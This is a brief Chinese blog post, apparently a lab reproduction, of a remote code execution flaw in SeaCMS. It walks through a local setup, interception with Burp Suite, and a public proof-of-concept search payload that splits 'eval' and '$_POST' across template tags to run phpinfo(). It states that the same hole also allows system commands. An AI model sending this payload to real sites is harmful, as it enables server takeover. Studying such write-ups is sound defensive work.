0x00搭建环境
mysql+php   用phpstudy即可

开始搭建, 将uploads里的所有文件复制到网站服务器中

包里有安装说明

1.png

0x01 开始复现
安装完毕后进入主页

2.png

设置代理127.0.0.1 8080端口， 打开BurpSuite抓包

3.png

这里直接用网上的poc  

4.png

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

我们复制过来看看效果

5.png

改好直接forward 过我们看下效果

6.png

0x02 漏洞利用
进一步利用，可以执行系统命令
   

7.png

8.png

上一篇：海洋cms如何设置解析

下一篇：海洋cms模板制作视频菜单列表标签